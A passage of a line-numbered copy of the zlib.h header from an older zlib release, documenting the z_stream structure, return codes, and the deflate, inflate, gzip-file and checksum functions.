/* used to free the internal state */ 82 | voidpf opaque; /* private data object passed to zalloc and zfree */ 83 | 84 | int data_type; /* best guess about the data type: ascii or binary */ 85 | uLong adler; /* adler32 value of the uncompressed data */ 86 | uLong reserved; /* reserved for future use */ 87 | } z_stream; 88 | 89 | typedef z_stream FAR *z_streamp; 90 | 91 | /* 92 | The application must update next_in and avail_in when avail_in has 93 | dropped to zero. It must update next_out and avail_out when avail_out 94 | has dropped to zero. The application must initialize zalloc, zfree and 95 | opaque before calling the init function. All other fields are set by the 96 | compression library and must not be updated by the application. 97 | 98 | The opaque value provided by the application will be passed as the first 99 | parameter for calls of zalloc and zfree. This can be useful for custom 100 | memory management. The compression library attaches no meaning to the 101 | opaque value. 102 | 103 | zalloc must return Z_NULL if there is not enough memory for the object. 104 | If zlib is used in a multi-threaded application, zalloc and zfree must be 105 | thread safe. 106 | 107 | On 16-bit systems, the functions zalloc and zfree must be able to allocate 108 | exactly 65536 bytes, but will not be required to allocate more than this 109 | if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, 110 | pointers returned by zalloc for objects of exactly 65536 bytes *must* 111 | have their offset normalized to zero. The default allocation function 112 | provided by this library ensures this (see zutil.c). To reduce memory 113 | requirements and avoid any allocation of 64K objects, at the expense of 114 | compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). 115 | 116 | The fields total_in and total_out can be used for statistics or 117 | progress reports. After compression, total_in holds the total size of 118 | the uncompressed data and may be saved for use in the decompressor 119 | (particularly if the decompressor wants to decompress everything in 120 | a single step). 121 | */ 122 | 123 | /* constants */ 124 | 125 | #define Z_NO_FLUSH 0 126 | #define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */ 127 | #define Z_SYNC_FLUSH 2 128 | #define Z_FULL_FLUSH 3 129 | #define Z_FINISH 4 130 | /* Allowed flush values; see deflate() below for details */ 131 | 132 | #define Z_OK 0 133 | #define Z_STREAM_END 1 134 | #define Z_NEED_DICT 2 135 | #define Z_ERRNO (-1) 136 | #define Z_STREAM_ERROR (-2) 137 | #define Z_DATA_ERROR (-3) 138 | #define Z_MEM_ERROR (-4) 139 | #define Z_BUF_ERROR (-5) 140 | #define Z_VERSION_ERROR (-6) 141 | /* Return codes for the compression/decompression functions. Negative 142 | * values are errors, positive values are used for special but normal events. 143 | */ 144 | 145 | #define Z_NO_COMPRESSION 0 146 | #define Z_BEST_SPEED 1 147 | #define Z_BEST_COMPRESSION 9 148 | #define Z_DEFAULT_COMPRESSION (-1) 149 | /* compression levels */ 150 | 151 | #define Z_FILTERED 1 152 | #define Z_HUFFMAN_ONLY 2 153 | #define Z_DEFAULT_STRATEGY 0 154 | /* compression strategy; see deflateInit2() below for details */ 155 | 156 | #define Z_BINARY 0 157 | #define Z_ASCII 1 158 | #define Z_UNKNOWN 2 159 | /* Possible values of the data_type field */ 160 | 161 | #define Z_DEFLATED 8 162 | /* The deflate compression method (the only one supported in this version) */ 163 | 164 | #define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ 165 | 166 | #define zlib_version zlibVersion() 167 | /* for compatibility with versions < 1.0.2 */ 168 | 169 | /* basic functions */ 170 | 171 | ZEXTERN const char * ZEXPORT zlibVersion OF((void)); 172 | /* The application can compare zlibVersion and ZLIB_VERSION for consistency. 173 | If the first character differs, the library code actually used is 174 | not compatible with the zlib.h header file used by the application. 175 | This check is automatically made by deflateInit and inflateInit. 176 | */ 177 | 178 | /* 179 | ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level)); 180 | 181 | Initializes the internal stream state for compression. The fields 182 | zalloc, zfree and opaque must be initialized before by the caller. 183 | If zalloc and zfree are set to Z_NULL, deflateInit updates them to 184 | use default allocation functions. 185 | 186 | The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: 187 | 1 gives best speed, 9 gives best compression, 0 gives no compression at 188 | all (the input data is simply copied a block at a time). 189 | Z_DEFAULT_COMPRESSION requests a default compromise between speed and 190 | compression (currently equivalent to level 6). 191 | 192 | deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not 193 | enough memory, Z_STREAM_ERROR if level is not a valid compression level, 194 | Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible 195 | with the version assumed by the caller (ZLIB_VERSION). 196 | msg is set to null if there is no error message. deflateInit does not 197 | perform any compression: this will be done by deflate(). 198 | */ 199 | 200 | 201 | ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); 202 | /* 203 | deflate compresses as much data as possible, and stops when the input 204 | buffer becomes empty or the output buffer becomes full. It may introduce some 205 | output latency (reading input without producing any output) except when 206 | forced to flush. 207 | 208 | The detailed semantics are as follows. deflate performs one or both of the 209 | following actions: 210 | 211 | - Compress more input starting at next_in and update next_in and avail_in 212 | accordingly. If not all input can be processed (because there is not 213 | enough room in the output buffer), next_in and avail_in are updated and 214 | processing will resume at this point for the next call of deflate(). 215 | 216 | - Provide more output starting at next_out and update next_out and avail_out 217 | accordingly. This action is forced if the parameter flush is non zero. 218 | Forcing flush frequently degrades the compression ratio, so this parameter 219 | should be set only when necessary (in interactive applications). 220 | Some output may be provided even if flush is not set. 221 | 222 | Before the call of deflate(), the application should ensure that at least 223 | one of the actions is possible, by providing more input and/or consuming 224 | more output, and updating avail_in or avail_out accordingly; avail_out 225 | should never be zero before the call. The application can consume the 226 | compressed output when it wants, for example when the output buffer is full 227 | (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK 228 | and with zero avail_out, it must be called again after making room in the 229 | output buffer because there might be more output pending. 230 | 231 | If the parameter flush is set to Z_SYNC_FLUSH, all pending output is 232 | flushed to the output buffer and the output is aligned on a byte boundary, so 233 | that the decompressor can get all input data available so far. (In particular 234 | avail_in is zero after the call if enough output space has been provided 235 | before the call.) Flushing may degrade compression for some compression 236 | algorithms and so it should be used only when necessary. 237 | 238 | If flush is set to Z_FULL_FLUSH, all output is flushed as with 239 | Z_SYNC_FLUSH, and the compression state is reset so that decompression can 240 | restart from this point if previous compressed data has been damaged or if 241 | random access is desired. Using Z_FULL_FLUSH too often can seriously degrade 242 | the compression. 243 | 244 | If deflate returns with avail_out == 0, this function must be called again 245 | with the same value of the flush parameter and more output space (updated 246 | avail_out), until the flush is complete (deflate returns with non-zero 247 | avail_out). 248 | 249 | If the parameter flush is set to Z_FINISH, pending input is processed, 250 | pending output is flushed and deflate returns with Z_STREAM_END if there 251 | was enough output space; if deflate returns with Z_OK, this function must be 252 | called again with Z_FINISH and more output space (updated avail_out) but no 253 | more input data, until it returns with Z_STREAM_END or an error. After 254 | deflate has returned Z_STREAM_END, the only possible operations on the 255 | stream are deflateReset or deflateEnd. 256 | 257 | Z_FINISH can be used immediately after deflateInit if all the compression 258 | is to be done in a single step. In this case, avail_out must be at least 259 | 0.1% larger than avail_in plus 12 bytes. If deflate does not return 260 | Z_STREAM_END, then it must be called again as described above. 261 | 262 | deflate() sets strm->adler to the adler32 checksum of all input read 263 | so far (that is, total_in bytes). 264 | 265 | deflate() may update data_type if it can make a good guess about 266 | the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered 267 | binary. This field is only for information purposes and does not affect 268 | the compression algorithm in any manner. 269 | 270 | deflate() returns Z_OK if some progress has been made (more input 271 | processed or more output produced), Z_STREAM_END if all input has been 272 | consumed and all output has been produced (only when flush is set to 273 | Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example 274 | if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible 275 | (for example avail_in or avail_out was zero). 276 | */ 277 | 278 | 279 | ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm)); 280 | /* 281 | All dynamically allocated data structures for this stream are freed. 282 | This function discards any unprocessed input and does not flush any 283 | pending output. 284 | 285 | deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the 286 | stream state was inconsistent, Z_DATA_ERROR if the stream was freed 287 | prematurely (some input or output was discarded). In the error case, 288 | msg may be set but then points to a static string (which must not be 289 | deallocated). 290 | */ 291 | 292 | 293 | /* 294 | ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); 295 | 296 | Initializes the internal stream state for decompression. The fields 297 | next_in, avail_in, zalloc, zfree and opaque must be initialized before by 298 | the caller. If next_in is not Z_NULL and avail_in is large enough (the exact 299 | value depends on the compression method), inflateInit determines the 300 | compression method from the zlib header and allocates all data structures 301 | accordingly; otherwise the allocation will be deferred to the first call of 302 | inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to 303 | use default allocation functions. 304 | 305 | inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough 306 | memory, Z_VERSION_ERROR if the zlib library version is incompatible with the 307 | version assumed by the caller. msg is set to null if there is no error 308 | message. inflateInit does not perform any decompression apart from reading 309 | the zlib header if present: this will be done by inflate(). (So next_in and 310 | avail_in may be modified, but next_out and avail_out are unchanged.) 311 | */ 312 | 313 | 314 | ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); 315 | /* 316 | inflate decompresses as much data as possible, and stops when the input 317 | buffer becomes empty or the output buffer becomes full. It may some 318 | introduce some output latency (reading input without producing any output) 319 | except when forced to flush. 320 | 321 | The detailed semantics are as follows. inflate performs one or both of the 322 | following actions: 323 | 324 | - Decompress more input starting at next_in and update next_in and avail_in 325 | accordingly. If not all input can be processed (because there is not 326 | enough room in the output buffer), next_in is updated and processing 327 | will resume at this point for the next call of inflate(). 328 | 329 | - Provide more output starting at next_out and update next_out and avail_out 330 | accordingly. inflate() provides as much output as possible, until there 331 | is no more input data or no more space in the output buffer (see below 332 | about the flush parameter). 333 | 334 | Before the call of inflate(), the application should ensure that at least 335 | one of the actions is possible, by providing more input and/or consuming 336 | more output, and updating the next_* and avail_* values accordingly. 337 | The application can consume the uncompressed output when it wants, for 338 | example when the output buffer is full (avail_out == 0), or after each 339 | call of inflate(). If inflate returns Z_OK and with zero avail_out, it 340 | must be called again after making room in the output buffer because there 341 | might be more output pending. 342 | 343 | If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much 344 | output as possible to the output buffer. The flushing behavior of inflate is 345 | not specified for values of the flush parameter other than Z_SYNC_FLUSH 346 | and Z_FINISH, but the current implementation actually flushes as much output 347 | as possible anyway. 348 | 349 | inflate() should normally be called until it returns Z_STREAM_END or an 350 | error. However if all decompression is to be performed in a single step 351 | (a single call of inflate), the parameter flush should be set to 352 | Z_FINISH. In this case all pending input is processed and all pending 353 | output is flushed; avail_out must be large enough to hold all the 354 | uncompressed data. (The size of the uncompressed data may have been saved 355 | by the compressor for this purpose.) The next operation on this stream must 356 | be inflateEnd to deallocate the decompression state. The use of Z_FINISH 357 | is never required, but can be used to inform inflate that a faster routine 358 | may be used for the single inflate() call. 359 | 360 | If a preset dictionary is needed at this point (see inflateSetDictionary 361 | below), inflate sets strm-adler to the adler32 checksum of the 362 | dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise 363 | it sets strm->adler to the adler32 checksum of all output produced 364 | so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or 365 | an error code as described below. At the end of the stream, inflate() 366 | checks that its computed adler32 checksum is equal to that saved by the 367 | compressor and returns Z_STREAM_END only if the checksum is correct. 368 | 369 | inflate() returns Z_OK if some progress has been made (more input processed 370 | or more output produced), Z_STREAM_END if the end of the compressed data has 371 | been reached and all uncompressed output has been produced, Z_NEED_DICT if a 372 | preset dictionary is needed at this point, Z_DATA_ERROR if the input data was 373 | corrupted (input stream not conforming to the zlib format or incorrect 374 | adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent 375 | (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not 376 | enough memory, Z_BUF_ERROR if no progress is possible or if there was not 377 | enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR 378 | case, the application may then call inflateSync to look for a good 379 | compression block. 380 | */ 381 | 382 | 383 | ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); 384 | /* 385 | All dynamically allocated data structures for this stream are freed. 386 | This function discards any unprocessed input and does not flush any 387 | pending output. 388 | 389 | inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state 390 | was inconsistent. In the error case, msg may be set but then points to a 391 | static string (which must not be deallocated). 392 | */ 393 | 394 | /* Advanced functions */ 395 | 396 | /* 397 | The following functions are needed only in some special applications. 398 | */ 399 | 400 | /* 401 | ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, 402 | int level, 403 | int method, 404 | int windowBits, 405 | int memLevel, 406 | int strategy)); 407 | 408 | This is another version of deflateInit with more compression options. The 409 | fields next_in, zalloc, zfree and opaque must be initialized before by 410 | the caller. 411 | 412 | The method parameter is the compression method. It must be Z_DEFLATED in 413 | this version of the library. 414 | 415 | The windowBits parameter is the base two logarithm of the window size 416 | (the size of the history buffer). It should be in the range 8..15 for this 417 | version of the library. Larger values of this parameter result in better 418 | compression at the expense of memory usage. The default value is 15 if 419 | deflateInit is used instead. 420 | 421 | The memLevel parameter specifies how much memory should be allocated 422 | for the internal compression state. memLevel=1 uses minimum memory but 423 | is slow and reduces compression ratio; memLevel=9 uses maximum memory 424 | for optimal speed. The default value is 8. See zconf.h for total memory 425 | usage as a function of windowBits and memLevel. 426 | 427 | The strategy parameter is used to tune the compression algorithm. Use the 428 | value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a 429 | filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no 430 | string match). Filtered data consists mostly of small values with a 431 | somewhat random distribution. In this case, the compression algorithm is 432 | tuned to compress them better. The effect of Z_FILTERED is to force more 433 | Huffman coding and less string matching; it is somewhat intermediate 434 | between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects 435 | the compression ratio but not the correctness of the compressed output even 436 | if it is not set appropriately. 437 | 438 | deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough 439 | memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid 440 | method). msg is set to null if there is no error message. deflateInit2 does 441 | not perform any compression: this will be done by deflate(). 442 | */ 443 | 444 | ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, 445 | const Bytef *dictionary, 446 | uInt dictLength)); 447 | /* 448 | Initializes the compression dictionary from the given byte sequence 449 | without producing any compressed output. This function must be called 450 | immediately after deflateInit, deflateInit2 or deflateReset, before any 451 | call of deflate. The compressor and decompressor must use exactly the same 452 | dictionary (see inflateSetDictionary). 453 | 454 | The dictionary should consist of strings (byte sequences) that are likely 455 | to be encountered later in the data to be compressed, with the most commonly 456 | used strings preferably put towards the end of the dictionary. Using a 457 | dictionary is most useful when the data to be compressed is short and can be 458 | predicted with good accuracy; the data can then be compressed better than 459 | with the default empty dictionary. 460 | 461 | Depending on the size of the compression data structures selected by 462 | deflateInit or deflateInit2, a part of the dictionary may in effect be 463 | discarded, for example if the dictionary is larger than the window size in 464 | deflate or deflate2. Thus the strings most likely to be useful should be 465 | put at the end of the dictionary, not at the front. 466 | 467 | Upon return of this function, strm->adler is set to the Adler32 value 468 | of the dictionary; the decompressor may later use this value to determine 469 | which dictionary has been used by the compressor. (The Adler32 value 470 | applies to the whole dictionary even if only a subset of the dictionary is 471 | actually used by the compressor.) 472 | 473 | deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a 474 | parameter is invalid (such as NULL dictionary) or the stream state is 475 | inconsistent (for example if deflate has already been called for this stream 476 | or if the compression method is bsort). deflateSetDictionary does not 477 | perform any compression: this will be done by deflate(). 478 | */ 479 | 480 | ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, 481 | z_streamp source)); 482 | /* 483 | Sets the destination stream as a complete copy of the source stream. 484 | 485 | This function can be useful when several compression strategies will be 486 | tried, for example when there are several ways of pre-processing the input 487 | data with a filter. The streams that will be discarded should then be freed 488 | by calling deflateEnd. Note that deflateCopy duplicates the internal 489 | compression state which can be quite large, so this strategy is slow and 490 | can consume lots of memory. 491 | 492 | deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not 493 | enough memory, Z_STREAM_ERROR if the source stream state was inconsistent 494 | (such as zalloc being NULL). msg is left unchanged in both source and 495 | destination. 496 | */ 497 | 498 | ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); 499 | /* 500 | This function is equivalent to deflateEnd followed by deflateInit, 501 | but does not free and reallocate all the internal compression state. 502 | The stream will keep the same compression level and any other attributes 503 | that may have been set by deflateInit2. 504 | 505 | deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source 506 | stream state was inconsistent (such as zalloc or state being NULL). 507 | */ 508 | 509 | ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, 510 | int level, 511 | int strategy)); 512 | /* 513 | Dynamically update the compression level and compression strategy. The 514 | interpretation of level and strategy is as in deflateInit2. This can be 515 | used to switch between compression and straight copy of the input data, or 516 | to switch to a different kind of input data requiring a different 517 | strategy. If the compression level is changed, the input available so far 518 | is compressed with the old level (and may be flushed); the new level will 519 | take effect only at the next call of deflate(). 520 | 521 | Before the call of deflateParams, the stream state must be set as for 522 | a call of deflate(), since the currently available input may have to 523 | be compressed and flushed. In particular, strm->avail_out must be non-zero. 524 | 525 | deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source 526 | stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR 527 | if strm->avail_out was zero. 528 | */ 529 | 530 | /* 531 | ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, 532 | int windowBits)); 533 | 534 | This is another version of inflateInit with an extra parameter. The 535 | fields next_in, avail_in, zalloc, zfree and opaque must be initialized 536 | before by the caller. 537 | 538 | The windowBits parameter is the base two logarithm of the maximum window 539 | size (the size of the history buffer). It should be in the range 8..15 for 540 | this version of the library. The default value is 15 if inflateInit is used 541 | instead. If a compressed stream with a larger window size is given as 542 | input, inflate() will return with the error code Z_DATA_ERROR instead of 543 | trying to allocate a larger window. 544 | 545 | inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough 546 | memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative 547 | memLevel). msg is set to null if there is no error message. inflateInit2 548 | does not perform any decompression apart from reading the zlib header if 549 | present: this will be done by inflate(). (So next_in and avail_in may be 550 | modified, but next_out and avail_out are unchanged.) 551 | */ 552 | 553 | ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, 554 | const Bytef *dictionary, 555 | uInt dictLength)); 556 | /* 557 | Initializes the decompression dictionary from the given uncompressed byte 558 | sequence. This function must be called immediately after a call of inflate 559 | if this call returned Z_NEED_DICT. The dictionary chosen by the compressor 560 | can be determined from the Adler32 value returned by this call of 561 | inflate. The compressor and decompressor must use exactly the same 562 | dictionary (see deflateSetDictionary). 563 | 564 | inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a 565 | parameter is invalid (such as NULL dictionary) or the stream state is 566 | inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the 567 | expected one (incorrect Adler32 value). inflateSetDictionary does not 568 | perform any decompression: this will be done by subsequent calls of 569 | inflate(). 570 | */ 571 | 572 | ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm)); 573 | /* 574 | Skips invalid compressed data until a full flush point (see above the 575 | description of deflate with Z_FULL_FLUSH) can be found, or until all 576 | available input is skipped. No output is provided. 577 | 578 | inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR 579 | if no more input was provided, Z_DATA_ERROR if no flush point has been found, 580 | or Z_STREAM_ERROR if the stream structure was inconsistent. In the success 581 | case, the application may save the current current value of total_in which 582 | indicates where valid compressed data was found. In the error case, the 583 | application may repeatedly call inflateSync, providing more input each time, 584 | until success or end of the input data. 585 | */ 586 | 587 | ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); 588 | /* 589 | This function is equivalent to inflateEnd followed by inflateInit, 590 | but does not free and reallocate all the internal decompression state. 591 | The stream will keep attributes that may have been set by inflateInit2. 592 | 593 | inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source 594 | stream state was inconsistent (such as zalloc or state being NULL). 595 | */ 596 | 597 | 598 | /* utility functions */ 599 | 600 | /* 601 | The following utility functions are implemented on top of the 602 | basic stream-oriented functions. To simplify the interface, some 603 | default options are assumed (compression level and memory usage, 604 | standard memory allocation functions). The source code of these 605 | utility functions can easily be modified if you need special options. 606 | */ 607 | 608 | ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, 609 | const Bytef *source, uLong sourceLen)); 610 | /* 611 | Compresses the source buffer into the destination buffer. sourceLen is 612 | the byte length of the source buffer. Upon entry, destLen is the total 613 | size of the destination buffer, which must be at least 0.1% larger than 614 | sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the 615 | compressed buffer. 616 | This function can be used to compress a whole file at once if the 617 | input file is mmap'ed. 618 | compress returns Z_OK if success, Z_MEM_ERROR if there was not 619 | enough memory, Z_BUF_ERROR if there was not enough room in the output 620 | buffer. 621 | */ 622 | 623 | ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, 624 | const Bytef *source, uLong sourceLen, 625 | int level)); 626 | /* 627 | Compresses the source buffer into the destination buffer. The level 628 | parameter has the same meaning as in deflateInit. sourceLen is the byte 629 | length of the source buffer. Upon entry, destLen is the total size of the 630 | destination buffer, which must be at least 0.1% larger than sourceLen plus 631 | 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. 632 | 633 | compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough 634 | memory, Z_BUF_ERROR if there was not enough room in the output buffer, 635 | Z_STREAM_ERROR if the level parameter is invalid. 636 | */ 637 | 638 | ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, 639 | const Bytef *source, uLong sourceLen)); 640 | /* 641 | Decompresses the source buffer into the destination buffer. sourceLen is 642 | the byte length of the source buffer. Upon entry, destLen is the total 643 | size of the destination buffer, which must be large enough to hold the 644 | entire uncompressed data. (The size of the uncompressed data must have 645 | been saved previously by the compressor and transmitted to the decompressor 646 | by some mechanism outside the scope of this compression library.) 647 | Upon exit, destLen is the actual size of the compressed buffer. 648 | This function can be used to decompress a whole file at once if the 649 | input file is mmap'ed. 650 | 651 | uncompress returns Z_OK if success, Z_MEM_ERROR if there was not 652 | enough memory, Z_BUF_ERROR if there was not enough room in the output 653 | buffer, or Z_DATA_ERROR if the input data was corrupted. 654 | */ 655 | 656 | 657 | typedef voidp gzFile; 658 | 659 | ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode)); 660 | /* 661 | Opens a gzip (.gz) file for reading or writing. The mode parameter 662 | is as in fopen ("rb" or "wb") but can also include a compression level 663 | ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for 664 | Huffman only compression as in "wb1h". (See the description 665 | of deflateInit2 for more information about the strategy parameter.) 666 | 667 | gzopen can be used to read a file which is not in gzip format; in this 668 | case gzread will directly read from the file without decompression. 669 | 670 | gzopen returns NULL if the file could not be opened or if there was 671 | insufficient memory to allocate the (de)compression state; errno 672 | can be checked to distinguish the two cases (if errno is zero, the 673 | zlib error is Z_MEM_ERROR). */ 674 | 675 | ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode)); 676 | /* 677 | gzdopen() associates a gzFile with the file descriptor fd. File 678 | descriptors are obtained from calls like open, dup, creat, pipe or 679 | fileno (in the file has been previously opened with fopen). 680 | The mode parameter is as in gzopen. 681 | The next call of gzclose on the returned gzFile will also close the 682 | file descriptor fd, just like fclose(fdopen(fd), mode) closes the file 683 | descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode). 684 | gzdopen returns NULL if there was insufficient memory to allocate 685 | the (de)compression state. 686 | */ 687 | 688 | ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); 689 | /* 690 | Dynamically update the compression level or strategy. See the description 691 | of deflateInit2 for the meaning of these parameters. 692 | gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not 693 | opened for writing. 694 | */ 695 | 696 | ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); 697 | /* 698 | Reads the given number of uncompressed bytes from the compressed file. 699 | If the input file was not in gzip format, gzread copies the given number 700 | of bytes into the buffer. 701 | gzread returns the number of uncompressed bytes actually read (0 for 702 | end of file, -1 for error). */ 703 | 704 | ZEXTERN int ZEXPORT gzwrite OF((gzFile file, 705 | const voidp buf, unsigned len)); 706 | /* 707 | Writes the given number of uncompressed bytes into the compressed file. 708 | gzwrite returns the number of uncompressed bytes actually written 709 | (0 in case of error). 710 | */ 711 | 712 | ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...)); 713 | /* 714 | Converts, formats, and writes the args to the compressed file under 715 | control of the format string, as in fprintf. gzprintf returns the number of 716 | uncompressed bytes actually written (0 in case of error). 717 | */ 718 | 719 | ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); 720 | /* 721 | Writes the given null-terminated string to the compressed file, excluding 722 | the terminating null character. 723 | gzputs returns the number of characters written, or -1 in case of error. 724 | */ 725 | 726 | ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len)); 727 | /* 728 | Reads bytes from the compressed file until len-1 characters are read, or 729 | a newline character is read and transferred to buf, or an end-of-file 730 | condition is encountered. The string is then terminated with a null 731 | character. 732 | gzgets returns buf, or Z_NULL in case of error. 733 | */ 734 | 735 | ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c)); 736 | /* 737 | Writes c, converted to an unsigned char, into the compressed file. 738 | gzputc returns the value that was written, or -1 in case of error. 739 | */ 740 | 741 | ZEXTERN int ZEXPORT gzgetc OF((gzFile file)); 742 | /* 743 | Reads one byte from the compressed file. gzgetc returns this byte 744 | or -1 in case of end of file or error. 745 | */ 746 | 747 | ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); 748 | /* 749 | Flushes all pending output into the compressed file. The parameter 750 | flush is as in the deflate() function. The return value is the zlib 751 | error number (see function gzerror below). gzflush returns Z_OK if 752 | the flush parameter is Z_FINISH and all output could be flushed. 753 | gzflush should be called only when strictly necessary because it can 754 | degrade compression. 755 | */ 756 | 757 | ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file, 758 | z_off_t offset, int whence)); 759 | /* 760 | Sets the starting position for the next gzread or gzwrite on the 761 | given compressed file. The offset represents a number of bytes in the 762 | uncompressed data stream. The whence parameter is defined as in lseek(2); 763 | the value SEEK_END is not supported. 764 | If the file is opened for reading, this function is emulated but can be 765 | extremely slow. If the file is opened for writing, only forward seeks are 766 | supported; gzseek then compresses a sequence of zeroes up to the new 767 | starting position. 768 | 769 | gzseek returns the resulting offset location as measured in bytes from 770 | the beginning of the uncompressed stream, or -1 in case of error, in 771 | particular if the file is opened for writing and the new starting position 772 | would be before the current position. 773 | */ 774 | 775 | ZEXTERN int ZEXPORT gzrewind OF((gzFile file)); 776 | /* 777 | Rewinds the given file. This function is supported only for reading. 778 | 779 | gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) 780 | */ 781 | 782 | ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file)); 783 | /* 784 | Returns the starting position for the next gzread or gzwrite on the 785 | given compressed file. This position represents a number of bytes in the 786 | uncompressed data stream. 787 | 788 | gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) 789 | */ 790 | 791 | ZEXTERN int ZEXPORT gzeof OF((gzFile file)); 792 | /* 793 | Returns 1 when EOF has previously been detected reading the given 794 | input stream, otherwise zero. 795 | */ 796 | 797 | ZEXTERN int ZEXPORT gzclose OF((gzFile file)); 798 | /* 799 | Flushes all pending output if necessary, closes the compressed file 800 | and deallocates all the (de)compression state. The return value is the zlib 801 | error number (see function gzerror below). 802 | */ 803 | 804 | ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum)); 805 | /* 806 | Returns the error message for the last error which occurred on the 807 | given compressed file. errnum is set to zlib error number. If an 808 | error occurred in the file system and not in the compression library, 809 | errnum is set to Z_ERRNO and the application may consult errno 810 | to get the exact error code. 811 | */ 812 | 813 | /* checksum functions */ 814 | 815 | /* 816 | These functions are not related to compression but are exported 817 | anyway because they might be useful in applications using the 818 | compression library. 819 | */ 820 | 821 | ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); 822 | 823 | /* 824 | Update a running Adler-32 checksum with the bytes buf[0..len-1] and 825 | return the updated checksum. If buf is NULL, this function returns 826 | the required initial value for the checksum. 827 | An Adler-32 checksum is almost as reliable as a CRC32 but can be computed 828 | much faster. Usage example: 829 | 830 | uLong adler = adler32(0L, Z_NULL, 0); 831 | 832 | while (read_buffer(buffer, length) != EOF) { 833 | adler = adler32(adler, buffer, length); 834 | } 835 | if (adler != original_adler) error(); 836 | */ 837 | 838 | ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); 839 | /* 840 | Update a running crc with the bytes buf[0..len-1] and return the updated 841 | crc. If buf is NULL, this function returns the required initial value 842 | for the crc. Pre- and post-conditioning (one's complement) is performed 843 | within this function so it shouldn't be done by the application. 844 | Usage example: 845 | 846 | uLong crc = crc32(0L, Z_NULL, 0); 847 | 848 | while (read_buffer(buffer, length) != EOF) { 849 | crc = crc32(crc, buffer, length); 850 | } 851 | if (crc != original_crc) error(); 852 | */ 853 | 854 | 855 | /* various hacks, don't look :) */ 856 | 857 | /* deflateInit and inflateInit are macros to allow checking the zlib version 858 | * and the compiler's view of z_stream: 859 | */ 860 | ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level, 861 | const char *version, int stream_size)); 862 | ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm, 863 | const char *version, int stream_size)); 864 | ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method, 865 | int windowBits, int 